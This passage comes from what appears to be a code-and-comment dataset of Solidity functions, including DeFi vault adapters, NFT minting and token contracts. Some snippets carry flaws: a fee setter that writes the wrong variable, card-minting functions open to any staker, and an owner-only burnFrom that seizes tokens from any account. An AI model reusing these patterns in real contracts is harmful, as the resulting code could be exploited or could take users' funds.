directly to the beneficiary (the _vaultProxy)", "function_code": "function takeOrder(\n address _vaultProxy,\n bytes calldata _encodedCallArgs,\n bytes calldata\n ) external onlyIntegrationManager {\n (\n uint256 minIncomingAssetAmount,\n uint256 expectedIncomingAssetAmount,\n address outgoingAsset,\n uint256 outgoingAssetAmount,\n IParaSwapV4AugustusSwapper.Path[] memory paths\n ) = __decodeCallArgs(_encodedCallArgs);\n\n __paraSwapV4MultiSwap(\n outgoingAsset,\n outgoingAssetAmount,\n minIncomingAssetAmount,\n expectedIncomingAssetAmount,\n payable(_vaultProxy),\n paths\n );\n }", "version": "0.6.12"} {"comment": "/// @dev Helper to decode the encoded callOnIntegration call arguments", "function_code": "function __decodeCallArgs(bytes memory _encodedCallArgs)\n private\n pure\n returns (\n uint256 minIncomingAssetAmount_,\n uint256 expectedIncomingAssetAmount_, // Passed as a courtesy to ParaSwap for analytics\n address outgoingAsset_,\n uint256 outgoingAssetAmount_,\n IParaSwapV4AugustusSwapper.Path[] memory paths_\n )\n {\n return\n abi.decode(\n _encodedCallArgs,\n (uint256, uint256, address, uint256, IParaSwapV4AugustusSwapper.Path[])\n );\n }", "version": "0.6.12"} {"comment": "// Assumes that if _redeemSingleAsset is true, then\n// \"_minIncomingWethAmount > 0 XOR _minIncomingStethAmount > 0\" has already been validated.", "function_code": "function __curveStethRedeem(\n uint256 _outgoingLPTokenAmount,\n uint256 _minIncomingWethAmount,\n uint256 _minIncomingStethAmount,\n bool _redeemSingleAsset\n ) internal {\n if (_redeemSingleAsset) {\n if (_minIncomingWethAmount > 0) {\n ICurveStableSwapSteth(CURVE_STETH_LIQUIDITY_POOL).remove_liquidity_one_coin(\n _outgoingLPTokenAmount,\n CURVE_STETH_POOL_INDEX_ETH,\n _minIncomingWethAmount\n );\n\n IWETH(payable(CURVE_STETH_LIQUIDITY_WETH_TOKEN)).deposit{\n value: payable(address(this)).balance\n }();\n } else {\n ICurveStableSwapSteth(CURVE_STETH_LIQUIDITY_POOL).remove_liquidity_one_coin(\n _outgoingLPTokenAmount,\n CURVE_STETH_POOL_INDEX_STETH,\n _minIncomingStethAmount\n );\n }\n } else {\n ICurveStableSwapSteth(CURVE_STETH_LIQUIDITY_POOL).remove_liquidity(\n _outgoingLPTokenAmount,\n [_minIncomingWethAmount, _minIncomingStethAmount]\n );\n\n IWETH(payable(CURVE_STETH_LIQUIDITY_WETH_TOKEN)).deposit{\n value: payable(address(this)).balance\n }();\n }\n }", "version": "0.6.12"} {"comment": "/// @dev Helper to get the balances of specified assets for a target", "function_code": "function __getAssetBalances(address _target, address[] memory _assets)\n internal\n view\n returns (uint256[] memory balances_)\n {\n balances_ = new uint256[](_assets.length);\n for (uint256 i; i < _assets.length; i++) {\n balances_[i] = ERC20(_assets[i]).balanceOf(_target);\n }\n\n return balances_;\n }", "version": "0.6.12"} {"comment": "/// @dev Helper to transfer full asset balances from a target to the current contract.\n/// Requires an adequate allowance for each asset granted to the current contract for the target.", "function_code": "function __pullFullAssetBalances(address _target, address[] memory _assets)\n internal\n returns (uint256[] memory amountsTransferred_)\n {\n amountsTransferred_ = new uint256[](_assets.length);\n for (uint256 i; i < _assets.length; i++) {\n ERC20 assetContract = ERC20(_assets[i]);\n amountsTransferred_[i] = assetContract.balanceOf(_target);\n if (amountsTransferred_[i] > 0) {\n assetContract.safeTransferFrom(_target, address(this), amountsTransferred_[i]);\n }\n }\n\n return amountsTransferred_;\n }", "version": "0.6.12"} {"comment": "/// @dev Helper to transfer full asset balances from the current contract to a target", "function_code": "function __pushFullAssetBalances(address _target, address[] memory _assets)\n internal\n returns (uint256[] memory amountsTransferred_)\n {\n amountsTransferred_ = new uint256[](_assets.length);\n for (uint256 i; i < _assets.length; i++) {\n ERC20 assetContract = ERC20(_assets[i]);\n amountsTransferred_[i] = assetContract.balanceOf(address(this));\n if (amountsTransferred_[i] > 0) {\n assetContract.safeTransfer(_target, amountsTransferred_[i]);\n }\n }\n\n return amountsTransferred_;\n }", "version": "0.6.12"} {"comment": "/// @dev Helper to claim all rewards, then pull only the newly claimed balances\n/// of all rewards tokens into the current contract", "function_code": "function __curveGaugeV2ClaimRewardsAndPullClaimedBalances(address _gauge, address _target)\n internal\n returns (address[] memory rewardsTokens_, uint256[] memory rewardsTokenAmountsPulled_)\n {\n rewardsTokens_ = __curveGaugeV2GetRewardsTokensWithCrv(_gauge);\n\n uint256[] memory rewardsTokenPreClaimBalances = new uint256[](rewardsTokens_.length);\n for (uint256 i; i < rewardsTokens_.length; i++) {\n rewardsTokenPreClaimBalances[i] = ERC20(rewardsTokens_[i]).balanceOf(_target);\n }\n\n __curveGaugeV2ClaimAllRewards(_gauge, _target);\n\n rewardsTokenAmountsPulled_ = __pullPartialAssetBalances(\n _target,\n rewardsTokens_,\n rewardsTokenPreClaimBalances\n );\n\n return (rewardsTokens_, rewardsTokenAmountsPulled_);\n }", "version": "0.6.12"} {"comment": "/// @dev Helper to get list of pool-specific rewards tokens", "function_code": "function __curveGaugeV2GetRewardsTokens(address _gauge)\n internal\n view\n returns (address[] memory rewardsTokens_)\n {\n address[] memory lpRewardsTokensWithEmpties = new address[](CURVE_GAUGE_V2_MAX_REWARDS);\n uint256 rewardsTokensCount;\n for (uint256 i; i < CURVE_GAUGE_V2_MAX_REWARDS; i++) {\n address rewardToken = ICurveLiquidityGaugeV2(_gauge).reward_tokens(i);\n if (rewardToken != address(0)) {\n lpRewardsTokensWithEmpties[i] = rewardToken;\n rewardsTokensCount++;\n } else {\n break;\n }\n }\n\n rewardsTokens_ = new address[](rewardsTokensCount);\n for (uint256 i; i < rewardsTokensCount; i++) {\n rewardsTokens_[i] = lpRewardsTokensWithEmpties[i];\n }\n\n return rewardsTokens_;\n }", "version": "0.6.12"} {"comment": "// ============ Edition Methods ============", "function_code": "function createEditions(\n EditionTier[] memory tiers,\n // The account that should receive the revenue.\n address payable fundingRecipient,\n // The address (e.g. crowdfund proxy) that is allowed to mint\n // tokens in this edition.\n address minter\n ) external override {\n // Only the crowdfund factory can create editions.\n require(msg.sender == editionCreator);\n // Copy the next edition id, which we reference in the loop.\n uint256 firstEditionId = nextEditionId;\n // Update the next edition id to what we expect after the loop.\n nextEditionId += tiers.length;\n // Execute a loop that created editions.\n for (uint8 x = 0; x < tiers.length; x++) {\n uint256 id = firstEditionId + x;\n uint256 quantity = tiers[x].quantity;\n uint256 price = tiers[x].price;\n bytes32 contentHash = tiers[x].contentHash;\n\n editions[id] = Edition({\n quantity: quantity,\n price: price,\n fundingRecipient: fundingRecipient,\n numSold: 0,\n contentHash: contentHash\n });\n\n editionToMinter[id] = minter;\n\n emit EditionCreated(quantity, price, fundingRecipient, id);\n }\n }", "version": "0.8.6"} {"comment": "// ============ NFT Methods ============\n// Returns e.g. https://mirror-api.com/editions/[editionId]/[tokenId]", "function_code": "function tokenURI(uint256 tokenId)\n public\n view\n override\n returns (string memory)\n {\n // If the token does not map to an edition, it'll be 0.\n require(tokenToEdition[tokenId] > 0, \"Token has not been sold yet\");\n // Concatenate the components, baseURI, editionId and tokenId, to create URI.\n return\n string(\n abi.encodePacked(\n baseURI,\n _toString(tokenToEdition[tokenId]),\n \"/\",\n _toString(tokenId)\n )\n );\n }", "version": "0.8.6"} {"comment": "// The hash of the given content for the NFT. Can be used\n// for IPFS storage, verifying authenticity, etc.", "function_code": "function getContentHash(uint256 tokenId) public view returns (bytes32) {\n // If the token does not map to an edition, it'll be 0.\n require(tokenToEdition[tokenId] > 0, \"Token has not been sold yet\");\n // Concatenate the components, baseURI, editionId and tokenId, to create URI.\n return editions[tokenToEdition[tokenId]].contentHash;\n }", "version": "0.8.6"} {"comment": "// ============ Private Methods ============\n// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol", "function_code": "function _toString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }", "version": "0.8.6"} {"comment": "/// @dev Helper to remove liquidity from the pool.\n/// if using _redeemSingleAsset, must pre-validate that one - and only one - asset\n/// has a non-zero _orderedMinIncomingAssetAmounts value.\n/// _orderedOutgoingAssetAmounts = [aDAI, aUSDC, aUSDT].", "function_code": "function __curveAaveRedeem(\n uint256 _outgoingLPTokenAmount,\n uint256[3] memory _orderedMinIncomingAssetAmounts,\n bool _redeemSingleAsset,\n bool _useUnderlyings\n ) internal {\n if (_redeemSingleAsset) {\n // Assume that one - and only one - asset has a non-zero min incoming asset amount\n for (uint256 i; i < _orderedMinIncomingAssetAmounts.length; i++) {\n if (_orderedMinIncomingAssetAmounts[i] > 0) {\n ICurveStableSwapAave(CURVE_AAVE_LIQUIDITY_POOL).remove_liquidity_one_coin(\n _outgoingLPTokenAmount,\n int128(i),\n _orderedMinIncomingAssetAmounts[i],\n _useUnderlyings\n );\n return;\n }\n }\n } else {\n ICurveStableSwapAave(CURVE_AAVE_LIQUIDITY_POOL).remove_liquidity(\n _outgoingLPTokenAmount,\n _orderedMinIncomingAssetAmounts,\n _useUnderlyings\n );\n }\n }", "version": "0.6.12"} {"comment": "/*\r\n ERC 20 compatible functions\r\n */", "function_code": "function transferFrom (address _from, address _to, uint256 _value) public returns (bool success) {\r\n if (allowances [_from][msg.sender] < _value) return false;\r\n if (balances [_from] < _value) return false;\r\n\r\n allowances [_from][msg.sender] = allowances [_from][msg.sender].sub(_value);\r\n\r\n if (_value > 0 && _from != _to) {\r\n balances [_from] = balances [_from].sub(_value);\r\n balances [_to] = balances [_to].add(_value);\r\n emit Transfer (_from, _to, _value);\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/// @notice Claims rewards and then compounds the rewards tokens back into the idleToken\n/// @param _vaultProxy The VaultProxy of the calling fund\n/// @param _encodedCallArgs Encoded order parameters\n/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive\n/// @dev The `useFullBalances` option indicates whether to use only the newly claimed balances of\n/// rewards tokens, or whether to use the full balances of these assets in the vault.\n/// If full asset balances are to be used, then this requires the adapter to be granted\n/// an allowance of each reward token by the vault.\n/// For supported assets (e.g., COMP), this must be done via the `approveAssets()` function in this adapter.\n/// For unsupported assets (e.g., IDLE), this must be done via `ComptrollerProxy.vaultCallOnContract()`, if allowed.", "function_code": "function claimRewardsAndReinvest(\n address _vaultProxy,\n bytes calldata _encodedCallArgs,\n bytes calldata _encodedAssetTransferArgs\n )\n external\n onlyIntegrationManager\n // The idleToken is both the spend asset and the incoming asset in this case\n postActionSpendAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)\n {\n (, address idleToken, , bool useFullBalances) = __decodeClaimRewardsAndReinvestCallArgs(\n _encodedCallArgs\n );\n\n address underlying = __getUnderlyingForIdleToken(idleToken);\n require(underlying != address(0), \"claimRewardsAndReinvest: Unsupported idleToken\");\n\n (\n address[] memory rewardsTokens,\n uint256[] memory rewardsTokenAmountsToUse\n ) = __claimRewardsAndPullRewardsTokens(_vaultProxy, idleToken, useFullBalances);\n\n // Swap all reward tokens to the idleToken's underlying via UniswapV2,\n // using WETH as the intermediary where necessary\n __uniswapV2SwapManyToOne(\n address(this),\n rewardsTokens,\n rewardsTokenAmountsToUse,\n underlying,\n WETH_TOKEN\n );\n\n // Lend all received underlying asset for the idleToken\n uint256 underlyingBalance = ERC20(underlying).balanceOf(address(this));\n if (underlyingBalance > 0) {\n __idleV4Lend(idleToken, underlying, underlyingBalance);\n }\n }", "version": "0.6.12"} {"comment": "/// @notice Claims rewards and then swaps the rewards tokens to the specified asset via UniswapV2\n/// @param _vaultProxy The VaultProxy of the calling fund\n/// @param _encodedCallArgs Encoded order parameters\n/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive\n/// @dev The `useFullBalances` option indicates whether to use only the newly claimed balances of\n/// rewards tokens, or whether to use the full balances of these assets in the vault.\n/// If full asset balances are to be used, then this requires the adapter to be granted\n/// an allowance of each reward token by the vault.\n/// For supported assets (e.g., COMP), this must be done via the `approveAssets()` function in this adapter.\n/// For unsupported assets (e.g., IDLE), this must be done via `ComptrollerProxy.vaultCallOnContract()`, if allowed.", "function_code": "function claimRewardsAndSwap(\n address _vaultProxy,\n bytes calldata _encodedCallArgs,\n bytes calldata _encodedAssetTransferArgs\n )\n external\n onlyIntegrationManager\n postActionSpendAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)\n {\n (\n ,\n address idleToken,\n address incomingAsset,\n ,\n bool useFullBalances\n ) = __decodeClaimRewardsAndSwapCallArgs(_encodedCallArgs);\n\n (\n address[] memory rewardsTokens,\n uint256[] memory rewardsTokenAmountsToUse\n ) = __claimRewardsAndPullRewardsTokens(_vaultProxy, idleToken, useFullBalances);\n\n // Swap all reward tokens to the designated incomingAsset via UniswapV2,\n // using WETH as the intermediary where necessary\n __uniswapV2SwapManyToOne(\n _vaultProxy,\n rewardsTokens,\n rewardsTokenAmountsToUse,\n incomingAsset,\n WETH_TOKEN\n );\n }", "version": "0.6.12"} {"comment": "/// @notice Lends an amount of a token for idleToken\n/// @param _vaultProxy The VaultProxy of the calling fund\n/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive", "function_code": "function lend(\n address _vaultProxy,\n bytes calldata,\n bytes calldata _encodedAssetTransferArgs\n )\n external\n onlyIntegrationManager\n postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)\n {\n // More efficient to parse all from _encodedAssetTransferArgs\n (\n ,\n address[] memory spendAssets,\n uint256[] memory spendAssetAmounts,\n address[] memory incomingAssets\n ) = __decodeEncodedAssetTransferArgs(_encodedAssetTransferArgs);\n\n __idleV4Lend(incomingAssets[0], spendAssets[0], spendAssetAmounts[0]);\n }", "version": "0.6.12"} {"comment": "/// @dev Helper to claim rewards and pull rewards tokens from the vault\n/// to the current contract, as needed", "function_code": "function __claimRewardsAndPullRewardsTokens(\n address _vaultProxy,\n address _idleToken,\n bool _useFullBalances\n )\n private\n returns (address[] memory rewardsTokens_, uint256[] memory rewardsTokenAmountsToUse_)\n {\n __idleV4ClaimRewards(_idleToken);\n\n rewardsTokens_ = __idleV4GetRewardsTokens(_idleToken);\n if (_useFullBalances) {\n __pullFullAssetBalances(_vaultProxy, rewardsTokens_);\n }\n\n return (rewardsTokens_, __getAssetBalances(address(this), rewardsTokens_));\n }", "version": "0.6.12"} {"comment": "/// @dev Helper function to parse spend and incoming assets from encoded call args\n/// during approveAssets() calls", "function_code": "function __parseAssetsForApproveAssets(bytes calldata _encodedCallArgs)\n private\n view\n returns (\n IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,\n address[] memory spendAssets_,\n uint256[] memory spendAssetAmounts_,\n address[] memory incomingAssets_,\n uint256[] memory minIncomingAssetAmounts_\n )\n {\n address idleToken;\n (idleToken, spendAssets_, spendAssetAmounts_) = __decodeApproveAssetsCallArgs(\n _encodedCallArgs\n );\n require(\n __getUnderlyingForIdleToken(idleToken) != address(0),\n \"__parseAssetsForApproveAssets: Unsupported idleToken\"\n );\n require(\n spendAssets_.length == spendAssetAmounts_.length,\n \"__parseAssetsForApproveAssets: Unequal arrays\"\n );\n\n // Validate that only rewards tokens are given allowances\n address[] memory rewardsTokens = __idleV4GetRewardsTokens(idleToken);\n for (uint256 i; i < spendAssets_.length; i++) {\n // Allow revoking approval for any asset\n if (spendAssetAmounts_[i] > 0) {\n require(\n rewardsTokens.contains(spendAssets_[i]),\n \"__parseAssetsForApproveAssets: Invalid reward token\"\n );\n }\n }\n\n return (\n IIntegrationManager.SpendAssetsHandleType.Approve,\n spendAssets_,\n spendAssetAmounts_,\n new address[](0),\n new uint256[](0)\n );\n }", "version": "0.6.12"} {"comment": "/// @dev Helper function to parse spend and incoming assets from encoded call args\n/// during claimRewards() calls", "function_code": "function __parseAssetsForClaimRewards(bytes calldata _encodedCallArgs)\n private\n view\n returns (\n IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,\n address[] memory spendAssets_,\n uint256[] memory spendAssetAmounts_,\n address[] memory incomingAssets_,\n uint256[] memory minIncomingAssetAmounts_\n )\n {\n (address vaultProxy, address idleToken) = __decodeClaimRewardsCallArgs(_encodedCallArgs);\n\n require(\n __getUnderlyingForIdleToken(idleToken) != address(0),\n \"__parseAssetsForClaimRewards: Unsupported idleToken\"\n );\n\n (spendAssets_, spendAssetAmounts_) = __parseSpendAssetsForClaimRewardsCalls(\n vaultProxy,\n idleToken\n );\n\n return (\n IIntegrationManager.SpendAssetsHandleType.Transfer,\n spendAssets_,\n spendAssetAmounts_,\n new address[](0),\n new uint256[](0)\n );\n }", "version": "0.6.12"} {"comment": "/// @dev Helper function to parse spend assets for calls to claim rewards", "function_code": "function __parseSpendAssetsForClaimRewardsCalls(address _vaultProxy, address _idleToken)\n private\n view\n returns (address[] memory spendAssets_, uint256[] memory spendAssetAmounts_)\n {\n spendAssets_ = new address[](1);\n spendAssets_[0] = _idleToken;\n\n spendAssetAmounts_ = new uint256[](1);\n spendAssetAmounts_[0] = ERC20(_idleToken).balanceOf(_vaultProxy);\n\n return (spendAssets_, spendAssetAmounts_);\n }", "version": "0.6.12"} {"comment": "// TODO: update\n// function mint(uint256 _mintAmount) public {", "function_code": "function mint(uint256 _mintAmount) public payable {\n require(msg.value >= publicCost * _mintAmount, \"Not enough eth sent!\");\n require (saleIsActive, \"Public sale inactive\");\n require(_mintAmount > 0 && _mintAmount < maxMintAmountPlusOne, \"Invalid mint amount!\");\n require(supply.current() + _mintAmount < maxSupplyPlusOne, \"Max supply exceeded!\");\n _mintLoop(msg.sender, _mintAmount);\n }", "version": "0.8.7"} {"comment": "/// @notice Claims rewards and then compounds the rewards tokens back into the staked LP token\n/// @param _vaultProxy The VaultProxy of the calling fund\n/// @param _encodedCallArgs Encoded order parameters\n/// @dev Requires the adapter to be granted an allowance of each reward token by the vault.\n/// For supported assets (e.g., CRV), this must be done via the `approveAssets()` function in this adapter.\n/// For unsupported assets, this must be done via `ComptrollerProxy.vaultCallOnContract()`.\n/// The `useFullBalances` option indicates whether to use only the newly claimed balances of\n/// rewards tokens, or whether to use the full balances of these assets in the vault.", "function_code": "function claimRewardsAndReinvest(\n address _vaultProxy,\n bytes calldata _encodedCallArgs,\n bytes calldata _encodedAssetTransferArgs\n )\n external\n onlyIntegrationManager\n postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)\n {\n (\n bool useFullBalances,\n uint256 minIncomingLiquidityGaugeTokenAmount\n ) = __decodeClaimRewardsAndReinvestCallArgs(_encodedCallArgs);\n\n (\n address[] memory rewardsTokens,\n uint256[] memory rewardsTokenAmountsToUse\n ) = __curveGaugeV2ClaimRewardsAndPullBalances(\n LIQUIDITY_GAUGE_TOKEN,\n _vaultProxy,\n useFullBalances\n );\n\n // Swap all reward tokens to WETH via UniswapV2.\n // Note that if a reward token takes a fee on transfer,\n // we could not use these memory balances.\n __uniswapV2SwapManyToOne(\n address(this),\n rewardsTokens,\n rewardsTokenAmountsToUse,\n getCurveSethLiquidityWethToken(),\n address(0)\n );\n\n // Lend all received WETH for staked LP tokens\n uint256 wethBalance = ERC20(getCurveSethLiquidityWethToken()).balanceOf(address(this));\n if (wethBalance > 0) {\n __curveSethLend(wethBalance, 0, minIncomingLiquidityGaugeTokenAmount);\n __curveGaugeV2Stake(\n LIQUIDITY_GAUGE_TOKEN,\n LP_TOKEN,\n ERC20(LP_TOKEN).balanceOf(address(this))\n );\n }\n }", "version": "0.6.12"} {"comment": "/// @notice Lends assets for seth LP tokens\n/// @param _vaultProxy The VaultProxy of the calling fund\n/// @param _encodedCallArgs Encoded order parameters\n/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive", "function_code": "function lend(\n address _vaultProxy,\n bytes calldata _encodedCallArgs,\n bytes calldata _encodedAssetTransferArgs\n )\n external\n onlyIntegrationManager\n postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)\n {\n (\n uint256 outgoingWethAmount,\n uint256 outgoingSethAmount,\n uint256 minIncomingLiquidityGaugeTokenAmount\n ) = __decodeLendCallArgs(_encodedCallArgs);\n\n __curveSethLend(\n outgoingWethAmount,\n outgoingSethAmount,\n minIncomingLiquidityGaugeTokenAmount\n );\n }", "version": "0.6.12"} {"comment": "/// @dev Helper function to parse spend and incoming assets from encoded call args\n/// during claimRewards() calls.\n/// No action required, all values empty.", "function_code": "function __parseAssetsForClaimRewards()\n private\n pure\n returns (\n IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,\n address[] memory spendAssets_,\n uint256[] memory spendAssetAmounts_,\n address[] memory incomingAssets_,\n uint256[] memory minIncomingAssetAmounts_\n )\n {\n return (\n IIntegrationManager.SpendAssetsHandleType.None,\n new address[](0),\n new uint256[](0),\n new address[](0),\n new uint256[](0)\n );\n }", "version": "0.6.12"} {"comment": "/// @notice Gets an asset by its pool index and whether or not to use the underlying\n/// instead of the aToken", "function_code": "function getAssetByPoolIndex(uint256 _index, bool _useUnderlying)\n public\n view\n returns (address asset_)\n {\n if (_index == 0) {\n if (_useUnderlying) {\n return DAI_TOKEN;\n }\n return AAVE_DAI_TOKEN;\n } else if (_index == 1) {\n if (_useUnderlying) {\n return USDC_TOKEN;\n }\n return AAVE_USDC_TOKEN;\n } else if (_index == 2) {\n if (_useUnderlying) {\n return USDT_TOKEN;\n }\n return AAVE_USDT_TOKEN;\n }\n }", "version": "0.6.12"} {"comment": "/*depl address can always change fees to lower than 10 to allow the project to scale*/", "function_code": "function setTaxFee(uint256 taxFee, uint256 devFee ) public {\r\n require(msg.sender == _admin, \"OnlyAdmin can disable dev fee\");\r\n require(taxFee<12, \"Reflection tax can not be greater than 10\");\r\n require(devFee<12, \"Dev tax can not be greater than 10\");\r\n require(devFee.add(taxFee)<16, \"Total Fees cannot be greater than 15\");\r\n _taxFee = devFee;\r\n _devFee = devFee;\r\n }", "version": "0.8.4"} {"comment": "/// @notice Redeems steth LP tokens\n/// @param _vaultProxy The VaultProxy of the calling fund\n/// @param _encodedCallArgs Encoded order parameters\n/// @param _encodedAssetTransferArgs Encoded args for expected assets to spend and receive", "function_code": "function redeem(\n address _vaultProxy,\n bytes calldata _encodedCallArgs,\n bytes calldata _encodedAssetTransferArgs\n )\n external\n onlyIntegrationManager\n postActionIncomingAssetsTransferHandler(_vaultProxy, _encodedAssetTransferArgs)\n {\n (\n uint256 outgoingLpTokenAmount,\n uint256 minIncomingWethAmount,\n uint256 minIncomingStethAmount,\n bool redeemSingleAsset\n ) = __decodeRedeemCallArgs(_encodedCallArgs);\n\n __curveStethRedeem(\n outgoingLpTokenAmount,\n minIncomingWethAmount,\n minIncomingStethAmount,\n redeemSingleAsset\n );\n }", "version": "0.6.12"} {"comment": "/**\r\n * @notice Destroy tokens from owener account, can be run only by owner\r\n *\r\n * Remove `_value` tokens from the system irreversibly\r\n *\r\n * @param _value the amount of money to burn\r\n */", "function_code": "function burn(uint256 _value) onlyOwner public returns (bool success) {\r\n \r\n // Check if the targeted balance is enough\r\n require(_balanceOf[_owner] >= _value);\r\n \r\n // Check total Supply\r\n require(_totalSupply >= _value);\r\n // Subtract from the targeted balance and total supply\r\n _balanceOf[_owner] -= _value;\r\n _totalSupply -= _value;\r\n \r\n Burn(_owner, _value);\r\n return true;\r\n \r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @notice Destroy tokens from other account, can be run only by owner\r\n *\r\n * Remove `_value` tokens from the system irreversibly on behalf of `_from`.\r\n *\r\n * @param _from the address of the sender\r\n * @param _value the amount of money to burn\r\n */", "function_code": "function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) {\r\n \r\n // Save frozen state\r\n bool bAccountFrozen = frozenAccount(_from);\r\n \r\n //Unfreeze account if was frozen\r\n if (bAccountFrozen) {\r\n //Allow transfers\r\n freezeAccount(_from,false);\r\n }\r\n \r\n // Transfer to owners account\r\n _transfer(_from, _owner, _value);\r\n \r\n //Freeze again if was frozen before\r\n if (bAccountFrozen) {\r\n freezeAccount(_from,bAccountFrozen);\r\n }\r\n \r\n // Burn from owners account\r\n burn(_value);\r\n \r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @notice Create `mintedAmount` tokens and send it to `owner`, can be run only by owner\r\n * @param mintedAmount the amount of tokens it will receive\r\n */", "function_code": "function mintToken(uint256 mintedAmount) onlyOwner public {\r\n \r\n // Check for overflows\r\n require(_balanceOf[_owner] + mintedAmount >= _balanceOf[_owner]);\r\n \r\n // Check for overflows\r\n require(_totalSupply + mintedAmount >= _totalSupply);\r\n \r\n _balanceOf[_owner] += mintedAmount;\r\n _totalSupply += mintedAmount;\r\n \r\n Transfer(0, _owner, mintedAmount);\r\n \r\n }", "version": "0.4.18"} {"comment": "// Since Owner is calling this function, we can pass\n// the ETHPerToken amount", "function_code": "function epoch(uint256 ETHPerToken) public onlyOwnerOrOperator{\r\n uint256 balance = pendingBalance();\r\n //require(balance > 0, \"balance is 0\");\r\n harvest(balance.mul(ETHPerToken).div(1 ether));\r\n lastEpochTime = block.timestamp;\r\n lastBalance = lastBalance.add(balance);\r\n\r\n uint256 currentWithdrawd = vault.totalYieldWithdrawed();\r\n uint256 withdrawAmountToken = currentWithdrawd.sub(lastYieldWithdrawed);\r\n if(withdrawAmountToken > 0){\r\n lastYieldWithdrawed = currentWithdrawd;\r\n uint256 ethWithdrawed = withdrawAmountToken.mul(\r\n ETHPerToken\r\n ).div(1 ether);\r\n \r\n withdrawFromYearn(ethWithdrawed);\r\n ethPushedToYearn = ethPushedToYearn.sub(ethWithdrawed);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/// For creating Code Token", "function_code": "function _createCode(string _name, address _owner, uint256 _price) private {\r\n Code memory _codetoken = Code({\r\n name: _name\r\n });\r\n uint256 newCodeId = codetokens.push(_codetoken) - 1;\r\n\r\n // It's probably never going to happen, 4 billion tokens are A LOT, but\r\n // let's just be 100% sure we never let this happen.\r\n require(newCodeId == uint256(uint32(newCodeId)));\r\n\r\n Birth(newCodeId, _name, _owner);\r\n\r\n codetokenIndexToPrice[newCodeId] = _price;\r\n\r\n // This will assign ownership, and also emit the Transfer event as\r\n // per ERC721 draft\r\n _transfer(address(0), _owner, newCodeId);\r\n }", "version": "0.4.18"} {"comment": "// backOrForth : back if true, forward if false", "function_code": "function moveStageBackOrForth(bool backOrForth) public { \n\t\trequire(lpUsers[msg.sender].startTime > 0 && lpUsers[msg.sender].stakeAmount > 0, \"Staking not started yet\");\n\n\t\tif (backOrForth == false) {\t// If user moves to the next stage\n\t\t\tif (lpUsers[msg.sender].stage == 0) {\n\t\t\t\tlpUsers[msg.sender].stage = 1;\n\t\t\t\tlpUsers[msg.sender].lastUpdateTime = block.timestamp;\n\t\t\t} else if (lpUsers[msg.sender].stage >= 1) {\n\t\t\t\tlpUsers[msg.sender].stage += 1;\n\t\t\t\tlpUsers[msg.sender].lastUpdateTime = block.timestamp;\n\t\t\t}\n\t\t} else {\t// If user decides to go one stage back\n\t\t\tif (lpUsers[msg.sender].stage == 0) {\n\t\t\t\tlpUsers[msg.sender].stage = 0;\n\t\t\t} else if (lpUsers[msg.sender].stage > 3) {\n\t\t\t\tlpUsers[msg.sender].stage = 3;\n\t\t\t\tlpUsers[msg.sender].lastUpdateTime = block.timestamp;\n\t\t\t} else {\n\t\t\t\tlpUsers[msg.sender].stage -= 1;\n\t\t\t\tlpUsers[msg.sender].lastUpdateTime = block.timestamp;\n\t\t\t}\n\t\t}\n\n\t\tconsole.log(\"Changed stage: \", lpUsers[msg.sender].stage);\n\t\temit stageUpdated(msg.sender, lpUsers[msg.sender].stage, lpUsers[msg.sender].lastUpdateTime);\n\t}", "version": "0.6.12"} {"comment": "// Give NFT to User", "function_code": "function mintCardForUser(uint256 _pid, uint256 _cardId, uint256 _cardCount) public {\n\t\t// Check if cards are available to be minted\n\t\trequire(_cardCount > 0, \"Mint amount should be more than 1\");\n\t\trequire(hal9kLtd._exists(_cardId) != false, \"Card not found\");\n\t\trequire(hal9kLtd.totalSupply(_cardId) <= hal9kLtd.maxSupply(_cardId), \"Card limit is reached\");\n\t\t\n\t\t// Validation\n\t\tuint256 stakeAmount = hal9kVault.getUserInfo(_pid, msg.sender);\n\t\tconsole.log(\"Mint Card For User (staked amount): \", stakeAmount, lpUsers[msg.sender].stakeAmount);\n\t\tconsole.log(\"Caller of MintCardForUser function: \", msg.sender, _cardCount);\n\t\trequire(stakeAmount > 0 && stakeAmount == lpUsers[msg.sender].stakeAmount, \"Invalid user\");\n\n\t\thal9kLtd.mint(msg.sender, _cardId, _cardCount, \"\");\n\t\temit minted(msg.sender, _cardId, _cardCount);\n\t}", "version": "0.6.12"} {"comment": "// Burn NFT from user", "function_code": "function burnCardForUser(uint256 _pid, uint256 _cardId, uint256 _cardCount) public {\n\t\trequire(_cardCount > 0, \"Burn amount should be more than 1\");\n\t\trequire(hal9kLtd._exists(_cardId) == true, \"Card doesn't exist\");\n\t\trequire(hal9kLtd.totalSupply(_cardId) > 0, \"No cards exist\");\n\n\t\tuint256 stakeAmount = hal9kVault.getUserInfo(_pid, msg.sender);\n\t\trequire(stakeAmount > 0 && stakeAmount == lpUsers[msg.sender].stakeAmount, \"Invalid user\");\n\n\t\thal9kLtd.burn(msg.sender, _cardId, _cardCount);\n\t\temit burned(msg.sender, _cardId, 